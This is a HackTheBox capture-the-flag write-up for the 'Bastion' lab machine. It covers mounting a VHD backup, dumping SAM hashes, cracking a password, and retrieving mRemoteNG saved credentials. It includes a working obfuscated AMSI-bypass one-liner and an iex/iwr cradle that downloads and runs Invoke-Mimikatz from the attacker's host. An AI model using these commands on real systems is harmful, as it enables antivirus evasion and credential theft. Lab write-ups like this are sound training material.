[HackTheBox] Bastion

[HackTheBox] Bastion

·

15 min read

Just another VHD Mountage / SAM Decryption / Quick AMSI Bypass / mRemoteNG Password Decryption Write-up

Machine link.

IppSec Walkthrough.

Footprinting

Open ports

The open ports are:

jamarir@kali:~$ nmap -sS -p- -v -Pn --disable-arp-ping -oA syn_full --open 10.10.10.134
[...]
PORT      STATE SERVICE
22/tcp    open  ssh
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown

The interesting services are mainly SSH, RPC, SMB and WinRM.

Don’t forget your VHD backups !

The Guest account is enabled on SMB:

jamarir@kali:~$ nxc smb 10.10.10.134 -u 'a' -p '' --shares
SMB         10.10.10.134    445    BASTION          [*] Windows Server 2016 Standard 14393 x64 (name:BASTION) (domain:Bastion) (signing:False) (SMBv1:True)
SMB         10.10.10.134    445    BASTION          [+] Bastion\a: (Guest)
SMB         10.10.10.134    445    BASTION          [*] Enumerated shares
SMB         10.10.10.134    445    BASTION          Share           Permissions     Remark
SMB         10.10.10.134    445    BASTION          -----           -----------     ------
SMB         10.10.10.134    445    BASTION          ADMIN$                          Remote Admin
SMB         10.10.10.134    445    BASTION          Backups         READ,WRITE
SMB         10.10.10.134    445    BASTION          C$                              Default share
SMB         10.10.10.134    445    BASTION          IPC$                            Remote IPC

We may access an uncommon share named Backups, which contains a note file:

jamarir@kali:~$ smbclient --user 'Guest' --password '' '//10.10.10.134/Backups' -c 'ls'
  .                                   D        0  Tue Apr 16 12:02:11 2019
  ..                                  D        0  Tue Apr 16 12:02:11 2019
  note.txt                           AR      116  Tue Apr 16 12:10:09 2019
  SDT65CB.tmp                         A        0  Fri Feb 22 13:43:08 2019
  WindowsImageBackup                 Dn        0  Fri Feb 22 13:44:02 2019
jamarir@kali:~$ smbclient --user 'Guest' --password '' '//10.10.10.134/Backups' -c 'more note.txt'
Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow.

It simply specifies that a large backup file exists. Let's mount the share locally for better parsing:

jamarir@kali:~$ sudo mount -t cifs -o 'username=Guest,password=,domain=certified.htb' '//10.10.10.134/Backups' /mnt

WIth tree, we can use -h option to get the files' sizes:

jamarir@kali:~$ tree -ha /mnt
[4.0K]  /mnt
├── [   0]  SDT65CB.tmp
├── [   0]  WindowsImageBackup
│   └── [   0]  L4mpje-PC
│       ├── [   0]  Backup 2019-02-22 124351
│       │   ├── [ 36M]  9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd
│       │   ├── [5.0G]  9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
│       │   ├── [1.2K]  BackupSpecs.xml
│       │   ├── [1.1K]  cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml
│       │   ├── [8.7K]  cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml
│       │   ├── [6.4K]  cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml
│       │   ├── [2.8K]  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml
│       │   ├── [1.5K]  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml
│       │   ├── [1.4K]  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml
│       │   ├── [3.8K]  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml
│       │   ├── [3.9K]  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml
│       │   ├── [6.9K]  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml
│       │   └── [2.3M]  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml
│       ├── [   0]  Catalog
│       │   ├── [5.6K]  BackupGlobalCatalog
│       │   └── [7.3K]  GlobalCatalog
│       ├── [  16]  MediaId
│       └── [   0]  SPPMetadataCache
│           └── [ 56K]  {cd113385-65ff-4ea2-8ced-5630f6feca8f}
└── [ 116]  note.txt

Here, we see the 2 VHDs (Virtual Hard Disk). As stated in the Microsoft’s documentation, VHDs are disk image files similar to physical hard drives, mainly designed for Hyper-V virtual machines.

The fact that the backup files are in the L4mpje-PC folder suggests that these are backups of a L4mpje Windows computer. The idea is to mount the computer’s VHD locally and check what’s inside.

guestmount that VHD

Googling how to mount VHDs, we find this blog article, which is likely a box's spoil, but whatever that’s too late ;D

jamarir@kali:~$ sudo apt install libguestfs-tools cifs-utils

We can’t mount mount the 37M VHD, as there’s no OS inside:

jamarir@kali:~$ mkdir /tmp/a
jamarir@kali:~$ guestmount -a /mnt/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /tmp/a
guestmount: no operating system was found on this disk

But the 5Go can be mounted:

jamarir@kali:~$ guestmount -a /mnt/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /tmp/a
jamarir@kali:~$ ls -la /tmp/a
[...]
drwxrwxrwx  1 root root    0 Feb 22  2019 '$Recycle.Bin'/
lrwxrwxrwx  2 root root   14 Jul 14  2009 'Documents and Settings' -> /sysroot/Users
drwxrwxrwx  1 root root    0 Jul 14  2009  PerfLogs/
drwxrwxrwx  1 root root 4.0K Apr 12  2011 'Program Files'/
drwxrwxrwx  1 root root 4.0K Jul 14  2009  ProgramData/
drwxrwxrwx  1 root root    0 Feb 22  2019  Recovery/
drwxrwxrwx  1 root root 4.0K Feb 22  2019 'System Volume Information'/
drwxrwxrwx  1 root root 4.0K Feb 22  2019  Users/
drwxrwxrwx  1 root root  16K Feb 22  2019  Windows/
-rwxrwxrwx  1 root root   24 Jul 14  2009  autoexec.bat*
-rwxrwxrwx  1 root root   10 Jul 14  2009  config.sys*
-rwxrwxrwx  1 root root 2.0G Feb 22  2019  pagefile.sys*

Mount-VHD that VHD

We could also have mounted this VHD in a Windows Virtual Machine using the Mount-VHD cmdlet. This requires to enable the Hyper-V tools:

For some reasons, we can’t enable the Hyper-V Platform in the Windows feature. A workaround is to use the Enable-WindowsOptionalFeature cmdlet:

PS C:\Users\jamarir> Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V -All

PS C:\Users\jamarir> Mount-VHD -Path '\\10.10.10.134\Backups\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd'
PS C:\Users\jamarir> Get-Volume

DriveLetter FriendlyName FileSystemType DriveType HealthStatus OperationalStatus SizeRemaining     Size
----------- ------------ -------------- --------- ------------ ----------------- -------------     ----
C                        NTFS           Fixed     Healthy      OK                     32.64 GB 99.12 GB
D                        Unknown        CD-ROM    Healthy      Unknown                     0 B      0 B
E                        NTFS           Fixed     Healthy      OK                      7.54 GB  14.9 GB
PS C:\Users\jamarir> dir E:


    Directory: E:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         7/14/2009   4:37 AM                PerfLogs
d-r---         4/12/2011   4:21 AM                Program Files
d-r---         2/22/2019   1:39 PM                Users
d-----         2/22/2019   1:40 PM                Windows
-a----         6/10/2009  11:42 PM             24 autoexec.bat
-a----         6/10/2009  11:42 PM             10 config.sys

SAM Decryptor

Note that this is a system backup, so it is not necessarily representative of the current box’s content. For instance, there’s no user flag in the L4mpje's desktop:

jamarir@kali:~$ ls -la /tmp/a/Users/L4mpje/Desktop
total 9
drwxrwxrwx 1 root root    0 Feb 22  2019 .
drwxrwxrwx 1 root root 8192 Feb 22  2019 ..
-rwxrwxrwx 1 root root  282 Feb 22  2019 desktop.ini

Therefore, this VHD is likely to be outdated.

But we can recover the computers’ users NTHashes decrypting the SAM hive with the SYSTEM one using secretsdump:

jamarir@kali:~$ secretsdump.py -system /tmp/a/Windows/System32/config/SYSTEM -sam /tmp/a/Windows/System32/config/SAM LOCAL
Impacket v0.13.0.dev0+20241024.90011.835e175 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
[*] Cleaning up...

So we got the L4mpje’s NTHash, i.e. 26112010952d963c8dc4217daec986d9.

Rabbit Holation

However, we can’t use WinRM with these credentials:

jamarir@kali:~$ evil-winrm -i 10.10.10.134 -u 'L4mpje' -H '26112010952d963c8dc4217daec986d9'
[...]
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError

Error: Exiting with code 1

Note that the Administrator's NTHash is empty, same as Guest:

jamarir@kali:~$ python -c 'import binascii, hashlib; print(binascii.hexlify(hashlib.new("md4", "".encode("utf-16le")).digest()))'
b'31d6cfe0d16ae931b73c59d7e0c089c0'

This is likely because its password hasn’t been set yet, or let empty in this old VHD backup. Indeed, these credentials aren’t valid, whatever the protocol used:

jamarir@kali:~$ for proto in ssh smb rdp vnc winrm ldap mssql wmi ftp; do (nxc $proto 10.10.10.134 -u 'Administrator' -H '31d6cfe0d16ae931b73c59d7e0c089c0' 2>/dev/null &); done
[... Unsuccessful logins ...]

Only SMB and RPC protocols are allowed with L4mpje:

jamarir@kali:~$ for proto in ssh smb rdp vnc winrm ldap mssql wmi ftp; do (nxc $proto 10.10.10.134 -u 'L4mpje' -H '26112010952d963c8dc4217daec986d9' 2>/dev/null &); done
SMB         10.10.10.134    445    BASTION          [*] Windows Server 2016 Standard 14393 x64 (name:BASTION) (domain:Bastion) (signing:False) (SMBv1:True)
SMB         10.10.10.134    445    BASTION          [+] Bastion\L4mpje:26112010952d963c8dc4217daec986d9
RPC         10.10.10.134    135    BASTION          [*] Windows 10 / Server 2016 Build 14393 (name:BASTION) (domain:Bastion)
WINRM       10.10.10.134    5985   BASTION          [*] Windows 10 / Server 2016 Build 14393 (name:BASTION) (domain:Bastion)
RPC         10.10.10.134    135    BASTION          [+] Bastion\L4mpje:26112010952d963c8dc4217daec986d9
WINRM       10.10.10.134    5985   BASTION          [-] Bastion\L4mpje:26112010952d963c8dc4217daec986d9
SMB         10.10.10.134    445    BASTION          [*] Windows Server 2016 Standard 14393 x64 (name:BASTION) (domain:Bastion) (signing:False) (SMBv1:True)
LDAP        10.10.10.134    389    BASTION          [-] Bastion\L4mpje: Error connecting to the domain, are you sure LDAP service is running on the target?
Error: [Errno 111] Connection refused

But we have no more share access as L4mpje:

jamarir@kali:~$ nxc smb 10.10.10.134 -u 'L4mpje' -H '26112010952d963c8dc4217daec986d9' --shares
SMB         10.10.10.134    445    BASTION          [*] Windows Server 2016 Standard 14393 x64 (name:BASTION) (domain:Bastion) (signing:False) (SMBv1:True)
SMB         10.10.10.134    445    BASTION          [+] Bastion\L4mpje:26112010952d963c8dc4217daec986d9
SMB         10.10.10.134    445    BASTION          [*] Enumerated shares
SMB         10.10.10.134    445    BASTION          Share           Permissions     Remark
SMB         10.10.10.134    445    BASTION          -----           -----------     ------
SMB         10.10.10.134    445    BASTION          ADMIN$                          Remote Admin
SMB         10.10.10.134    445    BASTION          Backups         READ,WRITE
SMB         10.10.10.134    445    BASTION          C$                              Default share
SMB         10.10.10.134    445    BASTION          IPC$                            Remote IPC

NTHash Cracker 2 SSH

In order to access the SSH service, we have 2 options:

Because Kerberos isn’t running on the server, we can’t request a TGT. Therefore, we’ll need to crack our NTHash:

jamarir@kali:~$ echo -n '26112010952d963c8dc4217daec986d9' |john --format=nt --word
list=/usr/share/wordlists/rockyou.txt /dev/stdin
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
bureaulampje     (?)

Privilege escalation

L4mpje

Now we can ssh with credentials L4mpje:bureaulampje !

jamarir@kali:~$ ssh L4mpje@10.10.10.134
l4mpje@BASTION C:\Users\L4mpje>whoami
bastion\l4mpje

The user flag is in the desktop:

l4mpje@BASTION C:\Users\L4mpje>type Desktop\user.txt
16[...]a5

mRemoteNG

Looking for the installed programs, one uncommon program strikes out, which is mRemoteNG:

PS C:\> ls '.\Program Files (x86)\'


    Directory: C:\Program Files (x86)


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        16-7-2016     15:23                Common Files
d-----        23-2-2019     09:38                Internet Explorer
d-----        16-7-2016     15:23                Microsoft.NET
da----        22-2-2019     14:01                mRemoteNG
d-----        23-2-2019     10:22                Windows Defender
d-----        23-2-2019     09:38                Windows Mail
d-----        23-2-2019     10:22                Windows Media Player
d-----        16-7-2016     15:23                Windows Multimedia Platform
d-----        16-7-2016     15:23                Windows NT
d-----        23-2-2019     10:22                Windows Photo Viewer
d-----        16-7-2016     15:23                Windows Portable Devices
d-----        16-7-2016     15:23                WindowsPowerShell

mRemoteNG is an open source tool to connect remotely to Windows machines, based on RDP, VNC, SSH, telnet, .…

AMSI or LSASS cache ?

Therefore, if one user already RDP’ed on the box, his credentials would be stored in memory with LSASS. So we might have a look at that LSASS cache using mimikatz ?

jamarir@kali:~$ scp mimikatz.exe L4mpje@10.10.10.134:mimikatz.exe
L4mpje@10.10.10.134's password:
mimikatz.exe                                                                       100% 1324KB   3.5MB/s   00:00

But our file is flagged as it is deleted after some seconds, due to an on-disk antivirus detection:

l4mpje@BASTION C:\Users\L4mpje>dir
 Volume in drive C has no label.
 Volume Serial Number is 1B7D-E692

 Directory of C:\Users\L4mpje

18-12-2024  11:24    <DIR>          .
18-12-2024  11:24    <DIR>          ..
22-02-2019  15:26    <DIR>          Contacts
22-02-2019  15:27    <DIR>          Desktop
22-02-2019  15:26    <DIR>          Documents
22-02-2019  15:26    <DIR>          Downloads
22-02-2019  15:26    <DIR>          Favorites
22-02-2019  15:26    <DIR>          Links
22-02-2019  15:26    <DIR>          Music
22-02-2019  15:26    <DIR>          Pictures
22-02-2019  15:26    <DIR>          Saved Games
22-02-2019  15:26    <DIR>          Searches
22-02-2019  15:26    <DIR>          Videos

Jump from the future: as an Administrator, this detection can be confirmed using the Get-MpThreatDetection cmdlet:

*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-MpThreatDetection |Sort-Object -Property InitialDetectionTime |Select -Last 1
ActionSuccess                  : True
AdditionalActionsBitMask       : 0
AMProductVersion               : 4.18.1902.2
CleaningActionID               : 2
CurrentThreatExecutionStatusID : 1
DetectionID                    : {505B1124-8A21-482A-82C5-EBB97CB2C097}
DetectionSourceTypeID          : 3
DomainUser                     : BASTION\L4mpje
InitialDetectionTime           : <DATE>
LastThreatStatusChangeTime     : <DATE>
ProcessName                    : C:\Program Files\OpenSSH-Win64\sftp-server.exe
RemediationTime                : <DATE>
Resources                      : {file:_C:\Users\L4mpje\mimikatz.exe}
ThreatID                       : 2147730094
ThreatStatusErrorCode          : 0
ThreatStatusID                 : 3
PSComputerName                 :

Therefore, we could instead use an on-memory alternative, where our malware never touches the disk. To do so, we run the malware in our SSH process, downloading a cradle of a PowerShell Empire version of Mimikatz, and executing it on-the-fly:

jamarir@kali:~$ python -m http.server -d /usr/share/powershell-empire/empire/server/data/module_source/credentials/ 8080
l4mpje@BASTION C:\Users\L4mpje>powershell
PS C:\Users\L4mpje> iex (iwr -useb http://10.10.14.7:8080/Invoke-Mimikatz.ps1)
At line:1 char:1
+ iex (iwr -useb http://10.10.14.7:8080/Invoke-Mimikatz.ps1)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

But this time, an AMSI scan, responsible for detecting malware in-memory, flags our script. Indeed, we can confirm the AMSI is present using the amsiutils or invoke-mimikatz strings, as the AMSI blocks them:

PS C:\Users\L4mpje> "amsiutils"
At line:1 char:1
+ "amsiutils"
+ ~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

Jump from the future: as an Administrator, this detection can be confirmed using the Get-MpThreatDetection cmdlet:

*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-MpThreatDetection |Sort-Object -Property InitialDetectionTime |Select -Last 1
ActionSuccess                  : True
AdditionalActionsBitMask       : 0
AMProductVersion               : 4.18.1902.2
CleaningActionID               : 9
CurrentThreatExecutionStatusID : 1
DetectionID                    : {CCE6B143-D9BE-4613-AACC-4A8C0B552B0D}
DetectionSourceTypeID          : 10
DomainUser                     : BASTION\L4mpje
InitialDetectionTime           : <DATE>
LastThreatStatusChangeTime     : <DATE>
ProcessName                    : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
RemediationTime                :
Resources                      : {amsi:_C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, amsi:_PowerShell_C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe_10.0.14393.00000000000000045}
ThreatID                       : 2147728399
ThreatStatusErrorCode          : 0
ThreatStatusID                 : 1
PSComputerName                 :

Numerous common AMSI bypasses exist. After trials and errors, this one worked:

PS C:\Users\L4mpje> [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
PS C:\Users\L4mpje> "amsiutils"
amsiutils

Now, we may try to dump LSASS !

l4mpje@BASTION C:\Users\L4mpje>iex (iwr -useb http://10.10.14.7:8080/Invoke-Mimikatz.ps1); Invoke-Mimikatz -DumpCreds
[...]
Get-WmiObject : Access denied
At line:2579 char:27
+             $Processors = Get-WmiObject -Class Win32_Processor
+                           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [Get-WmiObject], ManagementException
    + FullyQualifiedErrorId : GetWMIManagementException,Microsoft.PowerShell.Commands.GetWmiObjectCommand

The property 'AddressWidth' cannot be found on this object. Verify that the property exists.
At line:2593 char:14
+ ...        if ( ( $Processor.AddressWidth) -ne (([System.IntPtr]::Size)*8 ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], PropertyNotFoundException
    + FullyQualifiedErrorId : PropertyNotFoundStrict

Hostname: Bastion / S-1-5-21-2146344083-2443430429-1430880910

  .#####.   mimikatz 2.2.0 (x64) #19041 Jan 29 2023 07:49:10
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

mimikatz(powershell) # exit
Bye!

Okay, I just forgot LSASS requires admin rights…

Jump from the future: as an Administrator, anyway, there’s no credentials cached in memory by LSASS, other than our own session:

*Evil-WinRM* PS C:\Users\Administrator\Documents> [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
*Evil-WinRM* PS C:\Users\Administrator\Documents> iex (iwr -useb http://10.10.14.7:8080/Invoke-Mimikatz.ps1); Invoke-Mimikatz -DumpCreds
Hostname: Bastion / S-1-5-21-2146344083-2443430429-1430880910

  .#####.   mimikatz 2.2.0 (x64) #19041 Jan 29 2023 07:49:10
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # sekurlsa::logonpasswords
[...]
Authentication Id : 0 ; 308123 (00000000:0004b39b)
Session           : NetworkCleartext from 0
User Name         : L4mpje
Domain            : BASTION
Logon Server      : BASTION
Logon Time        : <DATE>
SID               : S-1-5-21-2146344083-2443430429-1430880910-1002
        msv :
         [00000003] Primary
         * Username : L4mpje
         * Domain   : BASTION
         * NTLM     : 26112010952d963c8dc4217daec986d9
         * SHA1     : 1f14145cd808b2c13b248503510401168f2a9679
        tspkg :
        wdigest :
         * Username : L4mpje
         * Domain   : BASTION
         * Password : (null)
        kerberos :
         * Username : L4mpje
         * Domain   : BASTION
         * Password : (null)
        ssp :
        credman :
[...]
mimikatz(powershell) # exit
Bye!

Saved credentials decryption

More details are given by this Guillaume Quéré’s article.

Looking for password leakage on mRemoteNG, we see that a GitHub issue mentions that saved mRemoteNG credentials can be retrieved locally. These passwords are saved in %appdata%/mRemoteNG/confCons.xml:

jamarir@kali:~$ scp L4mpje@10.10.10.134:appdata/roaming/mRemoteNG/confCons.xml .
L4mpje@10.10.10.134's password:
confCons.xml                                                                       100% 6316   186.9KB/s   00:00
<?xml version="1.0" encoding="utf-8"?>
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GCM" KdfIterations="1000" FullFileEncryption="false" Protected="ZSvKI7j224Gf/twXpaP5G2QFZMLr1iO1f5JKdtIKL6eUg+eWkL5tKO886au0ofFPW0oop8R8ddXKAx4KK7sAk6AA" ConfVersion="2.6">
    <Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0-3a4f547a3fee" Username="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==" Hostname="127.0.0.1" Protocol="RDP" PuttySession="Default Settings" Port="3389" ConnectToConsole="false" UseCredSsp="true" RenderingEngine="IE" ICAEncryptionStrength="EncrBasic" RDPAuthenticationLevel="NoAuth" RDPMinutesToIdleTimeout="0" RDPAlertIdleTimeout="false" LoadBalanceInfo="" Colors="Colors16Bit" Resolution="FitToWindow" AutomaticResize="true" DisplayWallpaper="false" DisplayThemes="false" EnableFontSmoothing="false" EnableDesktopComposition="false" CacheBitmaps="false" RedirectDiskDrives="false" RedirectPorts="false" RedirectPrinters="false" RedirectSmartCards="false" RedirectSound="DoNotPlay" SoundQuality="Dynamic" RedirectKeys="false" Connected="false" PreExtApp="" PostExtApp="" MacAddress="" UserField="" ExtApp="" VNCCompression="CompNone" VNCEncoding="EncHextile" VNCAuthMode="AuthVNC" VNCProxyType="ProxyNone" VNCProxyIP="" VNCProxyPort="0" VNCProxyUsername="" VNCProxyPassword="" VNCColors="ColNormal" VNCSmartSizeMode="SmartSAspect" VNCViewOnly="false" RDGatewayUsageMethod="Never" RDGatewayHostname="" RDGatewayUseConnectionCredentials="Yes" RDGatewayUsername="" RDGatewayPassword="" RDGatewayDomain="" InheritCacheBitmaps="false" InheritColors="false" InheritDescription="false" InheritDisplayThemes="false" InheritDisplayWallpaper="false" InheritEnableFontSmoothing="false" InheritEnableDesktopComposition="false" InheritDomain="false" InheritIcon="false" InheritPanel="false" InheritPassword="false" InheritPort="false" InheritProtocol="false" InheritPuttySession="false" InheritRedirectDiskDrives="false" InheritRedirectKeys="false" InheritRedirectPorts="false" InheritRedirectPrinters="false" InheritRedirectSmartCards="false" InheritRedirectSound="false" InheritSoundQuality="false" InheritResolution="false" InheritAutomaticResize="false" InheritUseConsoleSession="false" InheritUseCredSsp="false" InheritRenderingEngine="false" InheritUsername="false" InheritICAEncryptionStrength="false" InheritRDPAuthenticationLevel="false" InheritRDPMinutesToIdleTimeout="false" InheritRDPAlertIdleTimeout="false" InheritLoadBalanceInfo="false" InheritPreExtApp="false" InheritPostExtApp="false" InheritMacAddress="false" InheritUserField="false" InheritExtApp="false" InheritVNCCompression="false" InheritVNCEncoding="false" InheritVNCAuthMode="false" InheritVNCProxyType="false" InheritVNCProxyIP="false" InheritVNCProxyPort="false" InheritVNCProxyUsername="false" InheritVNCProxyPassword="false" InheritVNCColors="false" InheritVNCSmartSizeMode="false" InheritVNCViewOnly="false" InheritRDGatewayUsageMethod="false" InheritRDGatewayHostname="false" InheritRDGatewayUseConnectionCredentials="false" InheritRDGatewayUsername="false" InheritRDGatewayPassword="false" InheritRDGatewayDomain="false" />
    <Node Name="L4mpje-PC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="8d3579b2-e68e-48c1-8f0f-9ee1347c9128" Username="L4mpje" Domain="" Password="yhgmiu5bbuamU3qMUKc/uYDdmbMrJZ/JvR1kYe4Bhiu8bXybLxVnO0U9fKRylI7NcB9QuRsZVvla8esB" Hostname="192.168.1.75" Protocol="RDP" PuttySession="Default Settings" Port="3389" ConnectToConsole="false" UseCredSsp="true" RenderingEngine="IE" ICAEncryptionStrength="EncrBasic" RDPAuthenticationLevel="NoAuth" RDPMinutesToIdleTimeout="0" RDPAlertIdleTimeout="false" LoadBalanceInfo="" Colors="Colors16Bit" Resolution="FitToWindow" AutomaticResize="true" DisplayWallpaper="false" DisplayThemes="false" EnableFontSmoothing="false" EnableDesktopComposition="false" CacheBitmaps="false" RedirectDiskDrives="false" RedirectPorts="false" RedirectPrinters="false" RedirectSmartCards="false" RedirectSound="DoNotPlay" SoundQuality="Dynamic" RedirectKeys="false" Connected="false" PreExtApp="" PostExtApp="" MacAddress="" UserField="" ExtApp="" VNCCompression="CompNone" VNCEncoding="EncHextile" VNCAuthMode="AuthVNC" VNCProxyType="ProxyNone" VNCProxyIP="" VNCProxyPort="0" VNCProxyUsername="" VNCProxyPassword="" VNCColors="ColNormal" VNCSmartSizeMode="SmartSAspect" VNCViewOnly="false" RDGatewayUsageMethod="Never" RDGatewayHostname="" RDGatewayUseConnectionCredentials="Yes" RDGatewayUsername="" RDGatewayPassword="" RDGatewayDomain="" InheritCacheBitmaps="false" InheritColors="false" InheritDescription="false" InheritDisplayThemes="false" InheritDisplayWallpaper="false" InheritEnableFontSmoothing="false" InheritEnableDesktopComposition="false" InheritDomain="false" InheritIcon="false" InheritPanel="false" InheritPassword="false" InheritPort="false" InheritProtocol="false" InheritPuttySession="false" InheritRedirectDiskDrives="false" InheritRedirectKeys="false" InheritRedirectPorts="false" InheritRedirectPrinters="false" InheritRedirectSmartCards="false" InheritRedirectSound="false" InheritSoundQuality="false" InheritResolution="false" InheritAutomaticResize="false" InheritUseConsoleSession="false" InheritUseCredSsp="false" InheritRenderingEngine="false" InheritUsername="false" InheritICAEncryptionStrength="false" InheritRDPAuthenticationLevel="false" InheritRDPMinutesToIdleTimeout="false" InheritRDPAlertIdleTimeout="false" InheritLoadBalanceInfo="false" InheritPreExtApp="false" InheritPostExtApp="false" InheritMacAddress="false" InheritUserField="false" InheritExtApp="false" InheritVNCCompression="false" InheritVNCEncoding="false" InheritVNCAuthMode="false" InheritVNCProxyType="false" InheritVNCProxyIP="false" InheritVNCProxyPort="false" InheritVNCProxyUsername="false" InheritVNCProxyPassword="false" InheritVNCColors="false" InheritVNCSmartSizeMode="false" InheritVNCViewOnly="false" InheritRDGatewayUsageMethod="false" InheritRDGatewayHostname="false" InheritRDGatewayUseConnectionCredentials="false" InheritRDGatewayUsername="false" InheritRDGatewayPassword="false" InheritRDGatewayDomain="false" />
</mrng:Connections>

This configuration file’s syntax is seemingly not documented in the mRemoteNG’s documentation. A PowerShell script allows users to create these connections easily), and it sounds that the most common connection’s attributes are:

It could be noted that the list of all software packages with their respective version could be retrieved using the Get-Package cmdlet:

PS C:\Users\L4mpje> Get-Package

Name                           Version          Source                           ProviderName
----                           -------          ------                           ------------
Microsoft Visual C++ 2015-2... 14.24.28127.4                                     Programs
Microsoft Visual C++ 2015-2... 14.24.28127.4                                     Programs
Microsoft Visual C++ 2019 X... 14.24.28127                                       msi
Microsoft Visual C++ 2008 R... 9.0.30729.6161                                    msi
Microsoft Visual C++ 2008 R... 9.0.30729.6161                                    msi
Microsoft Visual C++ 2019 X... 14.24.28127                                       msi
mRemoteNG                      1.76.11.40527    C:\Program Files (x86)\mRemot... msi
VMware Tools                   11.1.1.16303738  C:\Program Files\VMware\VMwar... msi
Microsoft Visual C++ 2019 X... 14.24.28127                                       msi
